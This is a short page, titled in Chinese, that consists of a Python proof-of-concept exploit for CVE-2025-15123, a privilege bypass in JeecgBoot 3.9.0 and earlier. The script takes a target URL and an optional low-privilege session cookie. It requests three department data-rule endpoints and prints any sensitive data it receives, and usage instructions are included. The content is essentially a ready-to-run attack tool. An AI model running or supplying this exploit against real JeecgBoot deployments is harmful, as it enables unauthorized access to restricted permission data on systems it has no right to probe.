CVE-2025-15123 JeecgBoot 权限绕过漏洞

import requests import sys # CVE-2025-15123 PoC - JeecgBoot Privilege Bypass # Target: JeecgBoot <= 3.9.0 # Endpoint: /sys/sysDepartPermission/datarule/ def exploit(target_url, cookie=None): """ Exploit for CVE-2025-15123 - JeecgBoot privilege bypass Requires low-privilege user authentication """ # Target endpoint vulnerable to privilege bypass endpoints = [ "/sys/sysDepartPermission/datarule/list", "/sys/sysDepartPermission/datarule/query", "/sys/sysDepartPermission/datarule/getAllDepartPermission" ] headers = { "Content-Type": "application/json" } if cookie: headers["Cookie"] = cookie for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: # Attempt to access restricted data permission endpoint response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: # Check if we got unauthorized access to sensitive data if "data" in response.text or "depart" in response.text.lower(): print(f"[+] VULNERABLE: {url}") print(f"[+] Response: {response.text[:500]}") return True elif response.status_code == 401 or response.status_code == 403: print(f"[-] Protected: {url} - Status: {response.status_code}") except Exception as e: print(f"[!] Error testing {url}: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-15123.py <target_url> [cookie]") print("Example: python cve-2025-15123.py http://target.com 'JSESSIONID=xxx'") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] if len(sys.argv) > 2 else None print(f"[*] Testing CVE-2025-15123 on {target}") exploit(target, cookie)